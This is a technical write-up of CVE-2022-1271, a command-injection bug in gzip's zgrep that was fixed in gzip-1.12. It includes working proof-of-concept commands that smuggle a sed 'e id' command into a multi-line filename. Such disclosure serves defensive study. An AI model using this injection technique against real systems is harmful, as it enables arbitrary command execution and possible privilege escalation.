.-----------------------------------------------------------------------------.
| CVE-2022-1271: (x)zgrep code execution caused by new lines in a filename |
'-----------------------------------------------------------------------------'
updated: 2022-04-11
There is a bug in 'zgrep' script (and other variants like 'xzgrep') that
allows an attacker to execute any 'sed' command. This can lead to privilege
escalation.
Since: gzip-1.3.10
* Debian 07 wheezy has version 1.5.
Fixed: gzip-1.12
What I need:
- Multi-line (>=2) file name.
- File must contain data, which I can match.
- sed command.
echo brm | gzip > \
"$(printf '|\n;e id\n#.gz')"
# ^ ^ ^ ^^
# | | | |`--------- this is not needed, it's just for "comfort"
# | | | `---------- second newline -- this is crucial!
# | | `--------------- sed command (execute shell command)
# | `----------------- first newline
# `------------------- separator inside sed substitution: s|old|new|
zgrep -H ^ *.gz # 1. There must be a match.
# 2. It must show a file name.
How is zgrep working anyway? Well, it's a shell script:
$ file /usr/bin/zgrep
/usr/bin/zgrep: POSIX shell script, ASCII text executable
Now, the key question is: how is it parsing a file name? Short answer is: by
'sed', which tries to escape naughty characters. Keyword is "tries".
Relevant snippet of code:
------------------------------[ /usr/bin/zgrep ]-------------------------------
for i
do
...
if test $files_with_matches -eq 1; then # -l | --files-with-*
...
elif test $files_without_matches -eq 1; then # -L | --files-witho*
...
elif test $with_filename -eq 0 && # -H | --with-filename
{ test $# -eq 1 || test $no_filename -eq 1; }; then # -h | --no-f*
eval "$grep"
else # <--- [1]
case $i in
(*'
'* | *'&'* | *'\'* | *'|'*)
i=$(printf '%s\n' "$i" |
sed ' # <--- this is the problem [2]
$!N
$s/[&\|]/\\&/g
$s/\n/\\n/g
');;
esac
sed_script="s|^|$i:|" # <--- here we can execute the exploit! [3]
...
-------------------------------------------------------------------------------
From conditions [1], we can see that it will work only with multiple files (and
we must not use '-l' or '-L' argument). Command inside variable
'$sed_script' [3] is a sed command, which will print a file name.
Problem [2] is, that if there are multiple new lines, sed will not replace them
with '\n'. In such case, it actually will not replace anything! And that is
the gist of the exploit.
1. Single newline will work just fine:
echo '1
2' | sed '
$!N
$s/[&\|]/\\&/g
$s/\n/\\n/g
'
Verbatim output will be:
----------------------------------[ output ]-----------------------------------
1\n2
-------------------------------------------------------------------------------
2. But if I use two newlines, result will be different:
echo '1
2
3' | sed '
$!N
$s/[&\|]/\\&/g
$s/\n/\\n/g
'
Verbatim output will be:
----------------------------------[ output ]-----------------------------------
1
2
3
-------------------------------------------------------------------------------
Output shows no escaping! Therefore I can easily create 'sed' commands like
this:
echo '|
; sed_command
# comment' | sed '
$!N
$s/[&\|]/\\&/g
$s/\n/\\n/g
'
Final form of '$sed_script' will be:
s|^||
; sed_command
# comment\n:|
And we can now run any 'sed' command. For example: 'e', which allows us to
execute shell command:
touch a.gz
echo brm > '|'$'\n'';e id'$'\n''#.gz'
zgrep brm foo.gz '|'$'\n'';e id'$'\n''#.gz'
----------------------------------[ output ]-----------------------------------
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)
brm
-------------------------------------------------------------------------------
(btw, I'm running it as root here. This is not a simple privilege escalation,
but it can lead to it.)
https://www.openwall.com/lists/oss-security/2022/04/08/2
https://lists.gnu.org/r/bug-gzip/2022-04/msg00011.html